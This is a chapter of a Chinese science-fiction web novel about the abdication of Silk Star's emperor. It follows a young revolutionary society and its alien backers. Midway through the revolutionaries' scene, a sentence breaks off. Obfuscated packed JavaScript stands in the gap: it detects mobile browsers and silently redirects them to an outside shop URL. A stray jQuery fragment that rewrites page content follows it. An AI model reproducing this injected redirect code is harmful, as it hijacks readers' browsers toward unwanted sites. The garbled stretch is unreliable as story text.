扬塔星,索拉斯,星际联络部。
此处办公楼中少有人交谈,大多数时间只听得见脚步声的走廊上不断有工作人员穿梭往来。在高层走廊尽头的一间办公室中,秘书正在向符铭汇报近期的工作进展。
“先生,这就是目前丝绸星那边的情况汇总。”
符铭翻开文件,一目十行地看下来,已将大致情况和一些细节掌握于心。
“这个‘烈流社’……”他大概看完了一遍,沉吟道,“似乎是由丝绸星的一些青年知识分子自发组成的?”
“正是。据我们的专员报告,这个革命团体目前还比较不成熟,成员也普遍比较年轻。不过,目前丝绸星上的许多革命组织都有类似的问题。”
“我记得此前米海提过要接触的不是这个革命团体,是另一个。”
“是的。原先的那个比这个更成熟、规模也更大,但是临时出了点差错,似乎是被那边朝廷盯上了。这个烈流社里似乎有过之前在我们这边留过学的人,米海认识,所以先和他们搭上线了。”
符铭翻了翻文件,道:“我看米海在报告中总结了目前这个革命团体存在的缺陷。”
“是的。但米海也说了这个‘烈流社’似乎有能被培养起来的潜力。”
“嗯。”符铭道,金色的眸子中似乎染上了些许笑意,“这个革命团体的确很年轻化,我看有年纪小的甚至还不到二十岁,较为年长的也基本不超过三十五岁。”
“是。”秘书笑道,“不过,您不也说过,年轻不是什么坏事,人总要成长的嘛。”
“不错。”符铭道,“如此,让米海那边观察他们一阵子吧,看看究竟是不是可塑之才。”
“是。”秘书应道,他像是又想起了什么,又恭谨地问符铭道,“先生,那么……丝绸星朝廷那边呢?”
“如今慕容王朝内部的守旧派已尽失人心。不过三皇子所代表的变法派,我看倒是受到了一些丝绸星人民的推崇。我们最近和三皇子的联系,不要断。”
“明白。”
“卡顿星那边的革命形势如何?”
“那边的形势倒是比丝绸星要好上不少……我想可能是因为他们很早就开始反抗乌尔星人的殖民统治了吧。安吉丽娜·布朗带领的革命军势如破竹,给乌尔星人造成了不小的麻烦。”
“好。布朗那边有任何消息,随时告知我。”
“是。”
*
慕容珂面前的御案上拜访着堆积如山的奏章,他却似乎无心处理,阖着双眸歪在龙椅上,一旁的太监为他按摩着他并不酸痛的肩背。
“启禀皇上,三皇子求见。”听有人前来通传,慕容珂这才缓缓睁开了双眼。
那两只曾经威严锐利的眼睛在近年的接连磋磨下已失去了往昔的神采,老皇帝的眼神有些迷茫,似乎突然听不懂了丝语一般。
“他?”慕容珂喃喃道,“他……来干什么?……”
太监恭敬地侯在一旁,等待着皇上传旨接见。可慕容珂迟迟未开口。
“皇上,”太监见状,温声细语地又提醒了一遍,“三皇子在外头候着呢。”
皇帝有些昏花的眼神无意识地落在金碧辉煌的大殿穹顶上,半晌过后,才长长地叹了一口气,似是无奈,似是妥协。
“罢了,”他摇了摇头,道,“叫他进来吧。”
“是。”
三皇子慕容镜然如今不过二十来岁,年轻气盛、气度雍容,眉眼酷似其母李皇后。慕容珂看到他那张英气勃勃的面容时,一时间不由得有些恍惚,似乎看到了数十年前那位英姿飒爽的年轻将军,纵身跃上高头骏马,将捷报一封封地从边疆传回云锦区。
那时他还是皇太子,丝绸星在他母亲的统治下物阜民丰。在那时,没有人会想到,短短的几十年间,丝绸星会接连败于几大外星之手,它如今尚显光鲜的外表似乎只是被掏空了血肉的巨人苟延残喘的躯壳,外在依旧亮丽,内里却早已腐败不堪。
不,慕容珂想,这不是我的错。也许早在几十年前,当他的母亲还坐在龙椅上、并似乎会一直坐在龙椅上时,当乌尔星改革的消息传入丝绸星、可朝廷上上下下却对此嗤之以鼻时……从那时开始,慕容王朝今日所面临的局面似乎就已注定。这是时代的错,这是历史的错,这绝不只是他慕容珂一人的错。
“父皇。”青年清亮却稳重的声音打断了他的思绪。
那张面容在他的视线中突然变得前所未有的清晰。
是啊,这是他的第三子。不同于他持重内敛的长子,也不同于他默默无闻的次子,他最小的孩子,一向是生动活泼、明媚张扬、受尽了宠爱的。世人都说前太子像极了他的母亲,可在慕容珂眼中,从来都是这最小的孩子比他的兄长要更像他母亲。
可他从前没有想过,这个孩子今日会就这样站在这里,站在他的面前。
他是他的父亲,也是他的君主。他心里很清楚他今日是来做什么的。
“……镜然……”上首的帝王开口,惊觉自己的声音不知从何时开始,竟已变得如此苍老,“告诉朕,你的那些人,是不是已经聚在外面了。”
一瞬间,皇帝的眼前闪过了许多身影。军人、文臣、学生、农民与工人……
“父皇,”慕容镜然声音平稳,“您放心,有儿臣在,不会出差错的。”
慕容珂紧紧地盯着他,慕容镜然丝毫没有回避父亲的视线。
“所以,”慕容珂不由得苦笑了一声,“你今日,是来劝朕退位的?”
“父皇,您知道,如果您继续执政,接下来会发生什么。”慕容镜然轻声道,“为了慕容氏的洲洋社稷,退位,这是您最好的选择。”
也是我当下唯一的选择。不是吗?
慕容珂在心里苦笑。
“我带来了诏书,父皇。”慕容镜然说着,拿出一卷明黄绢帛,“您放心,今日过后,所有人都会知道,您保住了慕容王朝的体面,您避免了朝廷分裂、国家动荡,是您主动地选择了这一切,而不是受人所迫。”
是我主动选择了这一切,慕容珂在心中默念道,没有人逼迫我……果真如此吗?
果真如此吗?……
慕容珂看着站在大殿中央的孩子,缓缓开口道:“镜然,告诉朕……告诉父皇,你也认为,走到今天这一步,这是朕的错吗?”
三皇子仰首看着父亲,他慢慢地摇了摇头,道:“不,父皇。”
慕容珂怔怔地凝视着他。
“这不是您的错。只是事已至此,儿臣觉得,无论如何不该由您一人面对这样的局势了。”
慕容珂突然觉得,自己心中的某道防线在顷刻之间坍塌了。
*
“号外号外——”
“皇帝退位——”
“新皇即位——”
“设立议会——”
门被猛地推开,易优和晏酬等人正在埋头研究一份花绸区地图,听到动静都抬起了头,只见胡毅满头大汗、气喘吁吁地站在门口,从怀中取出一份被藏得很深的报纸。
“朋友们,你们应该都已经知道了吧?”她开门见山地问道,将报纸放在了桌子上。
“嗯,志彬姐,坐。”晏酬招呼她道,“我们已经知道了。”
“哦——米兄?!你也在啊?”
米海从屋子的阴影中闪出,笑道:“你们星球上出了这么大的事,我能不来找你们吗?这件事,我方高层也已经了解了。”
“他们怎么说?”
“当然认为这是好事呀!”米海说道,“这件事难道不是在说明,贵星的旧制度正在逐步瓦解吗?”
“我也这么认为,”易优说,“不过,我还是觉得,绝不能把此视为终点。我看现在慕容王朝似乎是想学习乌尔星的那一套进行改革,哼,也不知道他们能学成什么样儿,我对此保持怀疑。”
“德天兄的话,我赞同。”晏酬道,“这对于我们的星球和人民而言,确实是一次惊天动地的大变动。不过,我们可不能被一时的激动冲昏了头脑。”
胡毅好奇地看着比自己要小上几岁的晏酬,不由得笑道:“真是没想到,我们烈流社人虽然年轻,但居然都这么稳重啊。我看外面许多讨论这事的人可都兴奋得很,他们似乎可没想那么多。”
晏酬一笑:“那是因为我们已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657683|207061||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
激动过啦,现在已经冷静下来了。要说成熟稳重,我们可还远远不够呢。”
米海笑道:“长岁,倒也不必这么谦虚。我不是和你们说过,上面对你们近期的工作很满意,并且多次表扬你们吗?不过,我还真挺好奇,诸位,你们对这位新即位的三皇子——是叫慕容镜然,对吧?文扬,我的发音没问题吧?你们对他有什么看法?”
“朝廷里的变法派,”何跃说道,“较为开明的那一批人——不过,他仍然是皇族的血脉,不是吗?”
“唔,你们这么想也无可厚非。”
“米兄,”晏酬见米海若有所思的模样,问道,“似乎不太赞成我们对此的看法?”
“事实上,朋友们,”见晏酬开口发问了,米海也不再卖关子,直截了当地对他们说道,“我们那边对此的看法是,其实你们不必过早的与变法派对立,毕竟我们目前的力量还比较弱小,我之前数次提到过你们要学会借力,去观察一下变法派的动向,说不定能找到扩展自己势力的途径呢,不是吗?”
“可是,米兄,”晏酬说道,“我们的烈流社的目的之一就是为了推翻皇室、终结君主制呀,朝廷里的变法派……他们就算再改革,也没有脱离君主制的大框架呀。”
“我知道、我知道。”米海心平气和地说,“你看,我的意思不是要你们去与他们合流,而是希望你们能做出一些……怎么说呢,战略性的接近。虽然你也说了他们没有脱离君主制的基本框架,但是换个角度想想,他们也是反对旧制度的一股力量,不是吗?”
朱秀道:“我想,老米的意思是,我们不必在明面上直接与变法派对立起来,而是采取比较灵活的方法,尽可能地发展自己的力量。”
米海一拍手,道:“对!我就是这个意思!”
晏酬听了这话,一时间有些沉默,片刻后,她问道:“米兄,这是贵星那边……负责与我们联络工作的总负责人的意思吗?”
米海没想到她会突然问起这个,不由得怔了一下。
*
“先生,这是最近丝绸星那边的报告。”
“嗯。”符铭用一只手掂了掂秘书递过来的文件,随口道,“这么多?”
秘书见自家先生面上罕见地流露出少年时代才会有的懊恼神色,不由得觉得有些好笑:“您知道,最近丝绸星发生的大事……材料多一点,也属正常。”
符铭飞快地翻了几页文件,又听秘书道:“对于丝绸星政体变化一事,各界人士对此看法不一。”
“正常。说下去。”
“此次的确有些复杂,就连以往观点大致一致的群体里都有可能出现好几种不同的声音。就拿青年学生举例吧,他们当中的大部分人得知此事后非常兴奋,并且态度乐观。不过,也有少数年轻人不太赞同这种过于乐观的态度。”
“你是说烈流社?”符铭飞快地翻阅着文件,“烈流社里……似乎大多数人并不支持慕容镜然。”
“正是。他们认为,丝绸星三皇子到底是皇室血脉,不值得信任。”
符铭淡淡一笑道:“他们倒是会独立思考,没被大多数人带着走。不过,一味的对立也不可取,这一点米海提醒他们了吧?”
“提醒了。”秘书道,“不过,报告里也写了,提醒过后,似乎还是有个别人不太乐意接受我们的建议。”
“是吗?”符铭挑眉,语气淡淡地撂下一句评价,“还挺犟。”
秘书看着自家年轻的先生,不由得失笑:“先生,他们当中的许多人毕竟还年轻。您近日不还常表扬他们工作效率高且有上进心吗?”
符铭睨他一眼,道:“怎么?我又不是要批评他们。不过,我近日想了一下,每次都通过米海联络效率还是太低了一些,你告诉米海,让烈流社抽出几个人,成立他们自己的对外联络部,直接与我联系吧。”
“先生?”符铭前几日是提过这件事,不过现下就做出了要直接与烈流社联络的决定,还是让秘书感到有些意外。
“有什么问题吗?”
“哦,不,没有。”秘书正色道。
“既然没有,”符铭平静地说,“就快去办吧。”